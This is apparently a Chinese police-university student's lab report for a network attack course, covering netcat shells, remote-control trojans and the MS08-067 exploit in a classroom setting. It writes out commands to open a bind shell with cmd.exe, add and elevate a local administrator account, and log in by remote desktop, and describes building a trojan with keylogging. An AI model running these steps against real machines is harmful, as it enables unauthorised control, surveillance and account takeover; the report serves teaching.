mysql实验报告4代码_实验报告4

中国人民公安大学

Chinese people’public security university

网络对抗技术

实验报告

实验四

恶意代码技术

学生姓名

陈昊

年级

2014

区队

六区队

指导教师

高见

任务一 利用NC控制电脑

NetCat，具有网络军刀之称，它小巧精悍且功能强大，说它小巧精悍，是因为他的软件大小现在已经压缩到只有十几KB，而且在功能上丝毫不减。

实验过程需要两个同学相互配合完成：

步骤一：

在受害者的机器 (同学A)

输入下面的命令：

nc.exe -l -p port -e cmd.exe   进入监听模式

步骤二：

在攻击者的机器.(同学B)

输入下面的命令：

nc ip  port //连接victim_IP,然后得到一个shell。 (需要截图)

步骤三：

在shell中，利用net user 用户名 密码 /add ，添加一个用户，并在受害者的机器中使用 net user 命令进行验证。(需要截图)

任务二 利用木马控制电脑

实验过程需要两个同学配合：

步骤一：

攻击者的机器. (同学A)

打开V2014.exe程序或则star RAT，这两个木马功能类似。

步骤二：

点击菜单栏中的“服务生成”，在弹出的配置服务端中，配置回连IP地址(攻击者IP)和端口号，并点击“生成”按钮，生成木马服务端。

步骤三：

将生成的木马可执行程序拷贝到受害者的机器，并双击运行。

步骤四：

在控制端中查看木马上线情况，并对以下功能每个进行测试和截图。

1.文件管理，尝试拷贝文件

2.屏幕控制，尝试获取桌面

3.键盘记录，尝试获取对方击键记录

不知道为什么失败了好几次之后换了台电脑才成功，可能与前一个实验发生了冲突

4.会话管理，重启对方机器，查看是否能自启动上线

未成功

会话管理，卸载对方的木马。

任务三 通过漏洞获取shell(合天平台中做) 所有过程截图写博客

windows ms08067 漏洞利用

在平台中获取shell之后，继续利用攻击机器使用

net user user pass /add

net localgroup administrators /add

命令向被攻击的机器中添加账户，并提升为管理员

然后用rdesktop 10.1.1.130 登陆对方的远程桌面